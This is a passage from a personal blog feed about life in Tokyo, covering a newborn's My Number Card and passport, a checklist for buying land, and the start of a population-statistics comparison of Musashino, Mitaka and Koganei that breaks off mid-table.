&lt;p&gt;Some countries have child allowance programs that citizens living abroad can also take advantage of, so you might want to check if you can get some free money from your country.&lt;/p&gt;

&lt;h1 id=&quot;10-my-number-card-optional&quot;&gt;10. My Number Card [optional]&lt;/h1&gt;

&lt;p&gt;I also got a MyNumber Card application form for the baby at the city hall, and I could complete it online (had to scan the QR code on the form and upload a photo of the baby, since the rest of the form got pre-filled at the city hall). We got the notification to pick up the card 2 months later, and went with the baby to pick it up.&lt;/p&gt;

&lt;p&gt;Having a My Number Card for the baby is nice, as this is likely their only photo ID (the insurance card also works like an ID, but that doesn’t have a photo), which helps with things like applying for passport. Also insurance cards are slowly being merged into My Number Card, so it might become sort of mandatory in the future anyway.&lt;/p&gt;

&lt;h1 id=&quot;11-passport-optional&quot;&gt;11. Passport [optional]&lt;/h1&gt;

&lt;p&gt;Japanese passports for people of Tokyo are &lt;a href=&quot;https://www.seikatubunka.metro.tokyo.lg.jp/passport/&quot;&gt;handled by Tokyo’s Bureau of Citizens, Culture and Sports&lt;/a&gt; with &lt;a href=&quot;https://www.seikatubunka.metro.tokyo.lg.jp/passport/guide/application/0000000363.html&quot;&gt;extra rules for minors getting a passport&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a parent has to be present&lt;/li&gt;
  &lt;li&gt;the passport will be valid for 5 years and cost 6,000 yen&lt;/li&gt;
  &lt;li&gt;required ID (one of the following):
    &lt;ul&gt;
      &lt;li&gt;My Number Card&lt;/li&gt;
      &lt;li&gt;driving license (not relevant for a baby)&lt;/li&gt;
      &lt;li&gt;health insurance card AND mother-child handbook (or a student ID card (with photo) or student handbook (with photo), but those are not relevant for a baby)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;the parent’s insurance card is also checked&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We haven’t got this for our baby, so I don’t have personal experience with this.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>What to check before buying a land in Tokyo</title>
   <link href="https://szabo.jp/2024/04/22/what-to-check-before-buying-a-land-in-tokyo/"/>
   <updated>2024-04-22T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/04/22/what-to-check-before-buying-a-land-in-tokyo</id>
   <content type="html">&lt;p&gt;We are currently at the final steps of buying a land in Tokyo, so in this post I’ll share the information we checked when considering a given land. &lt;a href=&quot;/2024/04/19/comparing-cities-to-live/&quot;&gt;In an earlier post I looked at comparing the data on cities of Tokyo&lt;/a&gt;, which gives a good high level view, while this post will look at data-sources that are useful when looking at a specific land.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;reference-layout&quot;&gt;Reference layout&lt;/h1&gt;

&lt;p&gt;I highly recommend to only look for a land after you have decided the house builder, as some builders can’t build on some lands (e.g. if they use cranes to assemble the house, those need to be able to reach the land). So visiting any potential land with the house builder is very important. I also highly recommend asking them to give you a rough layout, just to make it easier to imagine how a house would look like there (ask them to include furniture in the design to make it easier to feel the space). This also helps clear up any major issue with building regulation, e.g. height limitations and limits on blocking sunlight from the house to the North can make solar panels or lofts impossible in certain lands. So sharing your approximate ideal design with the house maker and checking if your must-haves are possible will save you headaches later on.&lt;/p&gt;

&lt;h1 id=&quot;nearby&quot;&gt;Nearby&lt;/h1&gt;

&lt;p&gt;Use Google Maps to map out what’s nearby.&lt;/p&gt;

&lt;h2 id=&quot;transportation&quot;&gt;Transportation&lt;/h2&gt;

&lt;p&gt;Distance to the nearest train stations is probably on the forefront of everyone’s mind. Make sure to check the time in both direction (to and from the station), as they can be different if there are slopes (and real estate postings will likely show the shorter time).&lt;/p&gt;

&lt;p&gt;If you are not right next to the station, also consider how you’ll get there. When checking buses, check both ways (as some routes will be circular or follow different path due to one-way streets). Also make sure the bus you are looking at goes regularly, as some only go once an hour.&lt;/p&gt;

&lt;p&gt;Parking at the station for cars and bikes is also worth checking, if you are considering that.&lt;/p&gt;

&lt;h2 id=&quot;shops-and-restaurants&quot;&gt;Shops and restaurants&lt;/h2&gt;

&lt;p&gt;My only advice is to check the opening hours, as I’ve found some bakeries that would only open on &lt;a href=&quot;https://maps.app.goo.gl/oJbS9zYoF8HEVwhH8&quot;&gt;one&lt;/a&gt; or &lt;a href=&quot;https://maps.app.goo.gl/ETBW3pTfMizcuCmx9&quot;&gt;two&lt;/a&gt; days a week. (Having a good bakery nearby was important for me.)&lt;/p&gt;

&lt;h2 id=&quot;schools&quot;&gt;Schools&lt;/h2&gt;

&lt;p&gt;Don’t trust the real estate listing, as they often list the geographically nearest schools, but for public schools kids can only go to the one that’s school district the address belongs to. (Which is often but not always the closest.) Googling 学区域 and the name of your city will bring up the map (&lt;a href=&quot;https://www.city.koganei.lg.jp/smph/kosodatekyoiku/gakkou-kyouiku/nyuugaku-tsuugaku/tsugaku_s.html&quot;&gt;example&lt;/a&gt;). Elementary school is likely to be the most important, but junior high and high schools are also worth checking (as school districts will be different).&lt;/p&gt;

&lt;p&gt;Other than the distance to the school, the road to the school is also important (any high traffic road without sidewalk on the way?). Walking around is likely the best, but a quick look on Google Street View can help rule out some lands, saving you a visit.&lt;/p&gt;

&lt;p&gt;We found a cheap land but this would have been the road to the station:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-04-22-what-to-check-before-buying-a-land-in-tokyo/street-view.png#lb&quot; alt=&quot;We found a cheap land in the street on the right of this Street View photo, but that green death-zone was an immediate no from us&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Also check juku (cram schools), English schools, international schools, if they might be interesting for you.&lt;/p&gt;

&lt;h2 id=&quot;parks&quot;&gt;Parks&lt;/h2&gt;

&lt;p&gt;Spending time in nature is &lt;a href=&quot;https://e360.yale.edu/features/ecopsychology-how-immersion-in-nature-benefits-your-health&quot;&gt;proven to make you happier&lt;/a&gt;, so checking the nearest green spaces is important. It’s also important to know about any nearby nature conservation areas and non-flowing waters as they can be a source of mosquitos and other bugs (if that’s a concern for you).&lt;/p&gt;

&lt;h2 id=&quot;hospitals-and-fire-stations&quot;&gt;Hospitals and fire stations&lt;/h2&gt;

&lt;p&gt;Living close to a hospital or fire station (or any major road leading to them) will likely mean a regular sound of sirens, also during the night, so be aware. On the other hand having a bigger hospital in 10-15 minutes drive away can literally be lifesaving, so keep them close but not too close.&lt;/p&gt;

&lt;h2 id=&quot;airports&quot;&gt;Airports&lt;/h2&gt;

&lt;p&gt;Similarly because of the noise, it’s important to check if there is any nearby airport (especially military ones), or if you are under the flight routes to a big airport (likely you’ll see if this is an issue when you are walking around, but it worths paying extra attention to).&lt;/p&gt;

&lt;h1 id=&quot;hazard-map&quot;&gt;Hazard map&lt;/h1&gt;

&lt;p&gt;In the land of natural disasters, it’s vital to be prepared. Each city publishes a hazard map highlighting all potential disasters and how bad they are expected to get. Just google “city name 防災マップ” or “ハザードマップ”　(&lt;a href=&quot;https://www.city.koganei.lg.jp/smph/kurashi/472/bosai/bosaiservice/bousaimap.html&quot;&gt;example&lt;/a&gt;). Make sure you understand what any note means, and if in doubt, ask your real estate agent. The real estate agent should show this map to you before you sign the contract, but I think it’s better to take the time to research it before hand. Also you can check with the house builder if the given hazard is something they can mitigate, e.g. &lt;a href=&quot;https://www.ichijo.co.jp/lp/taisuigai/en/&quot;&gt;Ichijo can make the house float&lt;/a&gt; but it costs extra.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-04-22-what-to-check-before-buying-a-land-in-tokyo/hazard-map.png#lb&quot; alt=&quot;Hazard map for an area of Koganei, with legend showing the maximum depth of water for each color&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;zoning-map&quot;&gt;Zoning map&lt;/h1&gt;

&lt;p&gt;Japan &lt;a href=&quot;https://www.youtube.com/results?search_query=japan+zoning&quot;&gt;gets praised a lot over their very permissive building zoning laws&lt;/a&gt;, which essentially means that zoning rules are the main thing that can limit what your neighbors can build (you don’t need to ask them for permission, but neither do they). Just google “city name 計画図” or “city name 用途地域等” and check your area.&lt;/p&gt;

&lt;p&gt;We were looking at a land in Zone #1 (50%/80%), which essentially means 2 story homes: 50% of the land can be covered with building and the overall floor area can be up to 80% of the land size. The second neighbor to the South was facing a major road, but the noise wasn’t bad behind the two houses, and both houses were 2 story apartment buildings. However checking the zoning map we learned that both of those lands fall into Zone #3 (80%/300%) which essentially allows 4 story buildings. So if the area continues developing, there is a chance that those houses will be taken down and a 4 story building built in their place. Since this was the South side of the land, that would block out much of the sun, and remove any privacy from our small garden (no more pool party for the kids). We passed on that land.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-04-22-what-to-check-before-buying-a-land-in-tokyo/zoning-map.png#lb&quot; alt=&quot;Zoning map example&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;private-road&quot;&gt;Private road&lt;/h1&gt;

&lt;p&gt;Regular roads are owned and maintained by the city, however when a bigger plot of land is split up, the new lands must keep their connection to the road, which often leads to part of the old land turning into a road. The land under this road however is owned privately (hence the name, private road, 私道). The existence of private road is usually on the real estate listing.&lt;/p&gt;

&lt;p&gt;If there is a private road, it’s important to check a few things:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Will you get partial ownership of the road? If not, you might need to get a permission from the owner to do any construction (e.g. water or gas connection), which can be an issue.&lt;/li&gt;
  &lt;li&gt;Is there an explicit “permission to drill” 掘削に関する覚書 document that would allow work on connecting utilities? Again addressing the same issue. (&lt;a href=&quot;https://www.ieuri.com/bible/kodate/8133/&quot;&gt;more info&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Rules of maintenance of the private road: will you need to pay a portion of it, or will the city take care of it? Who manages the maintenance work?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The real estate agent should be able to get the answers for these, or you can ask them at the city hall.&lt;/p&gt;

&lt;h1 id=&quot;trash-collection-method&quot;&gt;Trash collection method&lt;/h1&gt;

&lt;p&gt;How is trash collected? Do you just put it in front of your house (戸別収集) or is there a local garbage station you need to bring the trash to (ステーション収集)? The downside of the second is that the neighbors also need to keep that station clean, which often involves a having to clean it when it’s your turn.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-04-22-what-to-check-before-buying-a-land-in-tokyo/garbage-station.jpg#lb&quot; alt=&quot;Garbage station and a crow - source: https://www.ec-life.co.jp/blogs/productinfo-20170808-2/&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;neighborhood-associations&quot;&gt;Neighborhood associations&lt;/h1&gt;

&lt;p&gt;There might be a neighborhood association in your area (自治会 or 町内会), which might involve managing the garbage station or a message board. The real estate agent should be able to figure it out if there is one, or you can ask at the city hall. (More on these &lt;a href=&quot;https://mailmate.jp/blog/neighborhood-associations-japan&quot;&gt;here&lt;/a&gt;.)&lt;/p&gt;

&lt;h1 id=&quot;did-someone-die-on-the-land-事故物件&quot;&gt;Did someone die on the land? 事故物件&lt;/h1&gt;

&lt;p&gt;Even if you don’t believe in ghosts, the resale value of a land can be affected if someone died there (especially if it was a violent death). The real estate agent has to disclose this to potential buyers (legal requirement) and there is no expiration limit in the law, so it worth checking it (if for nothing else: to use it to ask for a discount). &lt;a href=&quot;https://www.oshimaland.co.jp/&quot;&gt;https://www.oshimaland.co.jp/&lt;/a&gt; has a map, and Google Translate can help understand what happened at a given address.&lt;/p&gt;

&lt;h1 id=&quot;annoying-neighbors-道路族マップ&quot;&gt;Annoying neighbors 道路族マップ&lt;/h1&gt;

&lt;p&gt;Another map that’s worth checking is &lt;a href=&quot;https://dqn.today/drzqn-map/&quot;&gt;【あぶない】道路族マップ【うるさい】&lt;/a&gt; which includes user reports about nuances, like&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;There is a large park next to it. Despite this, children play and make strange noises on the road. Why play on the road instead of in the park? Can’t we just teach them that the road is not a place to play?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;and&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;From 7 a.m. on Saturdays and Sundays, they ring the tricycle’s bell and run wild down the road screaming. At least 3 people, if things go wrong, there will be about 6 people from the neighborhood.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So yeah, it shows nuances, but it also shows annoying neighbors who will complain about kids being kids. Of course just because this map doesn’t show anything for your area, doesn’t mean that all neighbors will be angels, but it doesn’t cost anything to check.&lt;/p&gt;

&lt;h1 id=&quot;summary&quot;&gt;Summary&lt;/h1&gt;

&lt;p&gt;So that’s it. When we liked a land, I collected these infos into a Google Doc to keep it for easy reference, and also sent any question to our real estate agent. We also included a section in the doc about our concerns, and any information we could find on those. I also shared this document with my friends, and they provided additional tips on what to think about and sites to check (which I included in this post), so huge thanks to them for that.&lt;/p&gt;

&lt;h1 id=&quot;update&quot;&gt;Update&lt;/h1&gt;

&lt;p&gt;After talking with others, I have a few additional things to add to the list.&lt;/p&gt;

&lt;h1 id=&quot;urban-planning-facilities-都市計画施設&quot;&gt;Urban Planning Facilities (都市計画施設)&lt;/h1&gt;

&lt;p&gt;Cities make decade long ‘master plans’ for things like new roads, parks, schools, etc. Then when the houses in the area get old and the owners want to sell, the city buys the lands, and later builds what they have planned.&lt;/p&gt;

&lt;p&gt;Sometimes plans change, and the city might decide not to pursue an original plan. When this happens, the city will allow new houses to be built (都市計画法53条許可), so it is generally fine (apart from a small application fee for the extra permit). However one thing to note is that houses built on area like this will ineligible for the 長期優良住宅 (Long-term Quality Housing) certification. If the house would otherwise qualify for this, then being in an area like this might result in lower government subsidies and higher real estate tax (but both of these depend on the exact city).&lt;/p&gt;

&lt;h1 id=&quot;fire-protection-districts-防火地域&quot;&gt;Fire Protection Districts (防火地域)&lt;/h1&gt;

&lt;p&gt;Some areas are marked as Fire Protection Districts (防火地域) or Quasi-Fire Protection District (準防火地域), and buildings in these are required to fulfill stronger fire resistance rules. This rules out some windows (especially big ones), might require you to install shutters, and generally increases the costs.&lt;/p&gt;

&lt;p&gt;For Ichijo, I’m not sure if it changes their design or windows options, and it only adds slightly to the costs. After talking with a friend who built a similar size house around the same time in a Quasi-Fire Protection District (準防火地域) area, their base price (建物本体工事御見積書, Main building construction) was only ~2% higher for making it semi-fireproof (準耐火仕様) compared to ours, so it doesn’t seem to make that much of a difference.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Comparing cities to live in: Musashino vs Mitaka vs Koganei</title>
   <link href="https://szabo.jp/2024/04/19/comparing-cities-to-live/"/>
   <updated>2024-04-19T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/04/19/comparing-cities-to-live</id>
   <content type="html">&lt;p&gt;We decided to build our own house in Tokyo. We narrowed down our area to the following stations on the Chuo line: Mitaka (Mitaka City), Musashi-sakai (Musashino City), Musashi-Koganei (Koganei City). We also considered Kichijoji, but it was way out of budget (also it gets very crowded on weekends), and Higashi-Koganei (the station between Musashi-sakai and Musashi-Koganei), but currently it lacks the shops and amenities that we got used to. It is being actively developed, so it might get there in the next 5-10 years, but it’s also between two pretty well developed stations, so chain stores might pass on opening their stores there (e.g. both neighboring stations have Ito-Yokado shopping malls, making it unlikely that there would be one in Higashi-Koganei in the future).&lt;/p&gt;

&lt;p&gt;Choosing where to live is one of the truly life-altering decisions, especially for our children (as it affects which school they go to, their friends and also influences their career). While big part of this can’t be foreseen, I decided to take a look at the data available to compare these cities. I believe the same data is published for most cities in Japan, so even if you are looking at other places, this post might be able to help you make your own comparison.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;I tried to use data from around the same time and time period, though it wasn’t always possible (some data only gets published a few years late, or not every year), so I’ll indicate which date the data is from.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Disclosure:&lt;/em&gt; when I originally collected most of this data we were still looking for a land in all these places, but by the time of writing this post we are in the middle of buying a land in Musashino. This won’t change the numbers (those are all from the linked sources), but might affect my interpretation due to &lt;a href=&quot;https://en.wikipedia.org/wiki/Confirmation_bias&quot;&gt;confirmation bias&lt;/a&gt; (we made our choice and I want to believe we made the right choice). So take any positive opinion of Musashino with a grain of salt.&lt;/p&gt;

&lt;h1 id=&quot;population&quot;&gt;Population&lt;/h1&gt;

&lt;p&gt;Most metrics only really make sense on a per resident basis (e.g. city budget, number of schools), so it’s important to start with the population.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Population (2023. December)&lt;/strong&gt; Source: &lt;a href=&quot;https://www.toukei.metro.tokyo.lg.jp/juukim/2023/jm23010000.htm&quot;&gt;住民基本台帳による世帯と人口：毎月&lt;/a&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Population&lt;/td&gt;
      &lt;td&gt;147,851&lt;/td&gt;
      &lt;td&gt;190,071&lt;/td&gt;
      &lt;td&gt;124,721&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Households&lt;/td&gt;
      &lt;td&gt;78,685&lt;/td&gt;
      &lt;td&gt;96,814&lt;/td&gt;
      &lt;td&gt;62,937&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Household size&lt;br /&gt;(person per household)&lt;/td&gt;
      &lt;td&gt;1.88&lt;/td&gt;
      &lt;td&gt;1.96&lt;/td&gt;
      &lt;td&gt;1.98&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;age-groups&quot;&gt;Age groups&lt;/h2&gt;

&lt;p&gt;With Japan being a &lt;a href=&quot;https://www.jetro.go.jp/ext_images/_News/en/2021/japansession-statistics.pdf&quot;&gt;super-aging society&lt;/a&gt;, it’s a good data point to know how many kids, adults, and elderly live in a given city, as this will influence policies (which group the city should support), but also what types of shops open in the area.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Population per age group (2024. January)&lt;/strong&gt; Source: &lt;a href=&quot;https://www.toukei.metro.tokyo.lg.jp/juukiy/2024/jy24000001.htm&quot;&gt;区市町村、年齢3区分別人口（人口総数）&lt;/a&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;All of Tokyo prefecture&lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;0-14 year olds&lt;/td&gt;
      &lt;td&gt;11.07% (1,540,731)&lt;/td&gt;
      &lt;td&gt;11.75% (17,373)&lt;/td&gt;
      &lt;td&gt;12.31% (23,382)&lt;/td&gt;
      &lt;td&gt;12.58% (15,682)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;15-64 year olds&lt;/td&gt;
      &lt;td&gt;66.33% (9,227,915)&lt;/td&gt;
      &lt;td&gt;65.69% (97,090)&lt;/td&gt;
      &lt;td&gt;65.60% (124,610)&lt;/td&gt;
      &lt;td&gt;65.86% (82,071)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Above 65 years&lt;/td&gt;
      &lt;td&gt;22.59% (3,143,256)&lt;/td&gt;
      &lt;td&gt;22.56% (33,346)&lt;/td&gt;
      &lt;td&gt;22.09% (41,967)&lt;/td&gt;
      &lt;td&gt;21.56% (26,861)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Overall all 3 cities are almost identical in this regard.&lt;/p&gt;

&lt;h2 id=&quot;foreign-population&quot;&gt;Foreign population&lt;/h2&gt;

&lt;p&gt;Being from Europe, my kids will not look 100% Japanese, so knowing how much they will stand out at school is important. As the majority of foreigners in Japan are from other Asian countries, I also looked at data on which continent the foreign population is from. (There is data published down to the country-of-origin-level.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Foreign population (2024. January)&lt;/strong&gt; Source: &lt;a href=&quot;https://www.toukei.metro.tokyo.lg.jp/gaikoku/2024/ga24010000.htm&quot;&gt;区市町村、国籍・地域別外国人人口&lt;/a&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;All of Tokyo prefecture&lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Foreign population (% of the entire population)&lt;/td&gt;
      &lt;td&gt;4.65% (647,416)&lt;/td&gt;
      &lt;td&gt;2.52% (3,719)&lt;/td&gt;
      &lt;td&gt;2.28% (4,332)&lt;/td&gt;
      &lt;td&gt;2.58% (3,212)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;From Asia (% of the foreign population)&lt;/td&gt;
      &lt;td&gt;87.69% (567,699)&lt;/td&gt;
      &lt;td&gt;78.57% (2,922)&lt;/td&gt;
      &lt;td&gt;74.68% (3,235)&lt;/td&gt;
      &lt;td&gt;83.72% (2,689)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;From Europe (% of the foreign population)&lt;/td&gt;
      &lt;td&gt;5.71% (36,999)&lt;/td&gt;
      &lt;td&gt;7.93% (295)&lt;/td&gt;
      &lt;td&gt;10.55% (457)&lt;/td&gt;
      &lt;td&gt;5.39% (173)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;From Africa (% of the foreign population)&lt;/td&gt;
      &lt;td&gt;0.69% (4,477)&lt;/td&gt;
      &lt;td&gt;0.43% (16)&lt;/td&gt;
      &lt;td&gt;1.39% (60)&lt;/td&gt;
      &lt;td&gt;0.93% (30)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;From North America (% of the foreign population)&lt;/td&gt;
      &lt;td&gt;3.92% (25,356)&lt;/td&gt;
      &lt;td&gt;9.63% (358)&lt;/td&gt;
      &lt;td&gt;9.86% (427)&lt;/td&gt;
      &lt;td&gt;7.75% (249)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;From South America (% of the foreign population)&lt;/td&gt;
      &lt;td&gt;1.24% (8,046)&lt;/td&gt;
      &lt;td&gt;1.86% (69)&lt;/td&gt;
      &lt;td&gt;1.69% (73)&lt;/td&gt;
      &lt;td&gt;1.37% (44)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;From Oceania (% of the foreign population)&lt;/td&gt;
      &lt;td&gt;0.69% (4,468)&lt;/td&gt;
      &lt;td&gt;1.59% (59)&lt;/td&gt;
      &lt;td&gt;1.75% (76)&lt;/td&gt;
      &lt;td&gt;0.84% (27)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Overall Musashino and Mitaka are pretty similar in this regard. Koganei has slightly more foreigners, but a higher percentage of them come from Asian countries. This might be due to many universities being in and around Koganei, and it’s being the cheapest out of the 3 cities (so international students from Asian countries might prefer living there). But this is just my guess, overall the numbers are close enough that I don’t think this would result in any meaningful impact on our daily life.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sidenote&lt;/strong&gt;: since the statistics include per country breakdown, I also checked how many other Hungarians live in each city. Musashino: 1, Mitaka: 5 (I’m one from this), Koganei: 0. (In the entire Tokyo prefecture there are 254 Hungarians, but 211 of them (83%) live within the 23 Special Wards of Tokyo.)&lt;/p&gt;

&lt;h2 id=&quot;daytime-population&quot;&gt;Daytime population&lt;/h2&gt;

&lt;p&gt;People often commute for work or school, so the people living in a city (night time population) and the people being there during the day (daytime population) can look different. Tokyo does a census on this every 5 year, I’ll be using the numbers from &lt;a href=&quot;https://www.toukei.metro.tokyo.lg.jp/tyukanj/2020/tj-20index.htm&quot;&gt;the 2020 census&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Apart from the number of people in the city during the day, the census also shows the number of people commuting for work (通勤者) and for school (通学者). (The census notes that this doesn’t include the entire daytime population, as some people don’t work or study, and also the census doesn’t have data on what everyone does.) Moreover the census includes information on the flow of people too, e.g. some people living in the city will leave for work, while others will enter for work, so just the number of workers in the city during the day alone won’t show the full picture.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Daytime, nighttime population and daily flow of people (2020)&lt;/strong&gt; Source: &lt;a href=&quot;https://www.toukei.metro.tokyo.lg.jp/tyukanj/2020/tj-20index.htm&quot;&gt;令和2年国勢調査による 東京都の昼間人口（従業地・通学地による人口）&lt;/a&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Nighttime population&lt;br /&gt;(residents of the city) 常住人口&lt;/td&gt;
      &lt;td&gt;150,149&lt;/td&gt;
      &lt;td&gt;195,391&lt;/td&gt;
      &lt;td&gt;126,074&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Daytime population 昼間人口&lt;/td&gt;
      &lt;td&gt;162,221&lt;/td&gt;
      &lt;td&gt;175,413&lt;/td&gt;
      &lt;td&gt;110,012&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- compared to residents&lt;/td&gt;
      &lt;td&gt;8.04%&lt;/td&gt;
      &lt;td&gt;-10.22%&lt;/td&gt;
      &lt;td&gt;-12.74%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Resident workers (workers&lt;br /&gt;living there)常住就業者&lt;/td&gt;
      &lt;td&gt;64,433&lt;/td&gt;
      &lt;td&gt;82,769&lt;/td&gt;
      &lt;td&gt;54,114&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Daytime workers 昼間就業者&lt;/td&gt;
      &lt;td&gt;69,408&lt;/td&gt;
      &lt;td&gt;63,348&lt;/td&gt;
      &lt;td&gt;33,399&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- compared to resident workers&lt;/td&gt;
      &lt;td&gt;7.72%&lt;/td&gt;
      &lt;td&gt;-23.46%&lt;/td&gt;
      &lt;td&gt;-38.28%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Workers leaving 流出通勤者&lt;/td&gt;
      &lt;td&gt;41,511&lt;/td&gt;
      &lt;td&gt;52,685&lt;/td&gt;
      &lt;td&gt;37,590&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- compared to resident workers&lt;/td&gt;
      &lt;td&gt;64.43%&lt;/td&gt;
      &lt;td&gt;63.65%&lt;/td&gt;
      &lt;td&gt;69.46%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Workers entering 流入通勤者&lt;/td&gt;
      &lt;td&gt;46,486&lt;/td&gt;
      &lt;td&gt;33,264&lt;/td&gt;
      &lt;td&gt;16,875&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- compared to resident workers&lt;/td&gt;
      &lt;td&gt;72.15%&lt;/td&gt;
      &lt;td&gt;40.19%&lt;/td&gt;
      &lt;td&gt;31.18%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Resident students (students&lt;br /&gt;living there) 常住通学者&lt;/td&gt;
      &lt;td&gt;15,622&lt;/td&gt;
      &lt;td&gt;22,206&lt;/td&gt;
      &lt;td&gt;14,067&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Daytime students 昼間通学者&lt;/td&gt;
      &lt;td&gt;22,719&lt;/td&gt;
      &lt;td&gt;21,649&lt;/td&gt;
      &lt;td&gt;18,720&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- compared to resident students&lt;/td&gt;
      &lt;td&gt;45.43%&lt;/td&gt;
      &lt;td&gt;-2.51%&lt;/td&gt;
      &lt;td&gt;33.08%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Students leaving 流出通学者&lt;/td&gt;
      &lt;td&gt;5,575&lt;/td&gt;
      &lt;td&gt;7,174&lt;/td&gt;
      &lt;td&gt;4,821&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- compared to resident students&lt;/td&gt;
      &lt;td&gt;35.69%&lt;/td&gt;
      &lt;td&gt;32.31%&lt;/td&gt;
      &lt;td&gt;34.27%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Students entering 流入通学者&lt;/td&gt;
      &lt;td&gt;12,672&lt;/td&gt;
      &lt;td&gt;6,617&lt;/td&gt;
      &lt;td&gt;9,474&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- compared to resident students&lt;/td&gt;
      &lt;td&gt;81.12%&lt;/td&gt;
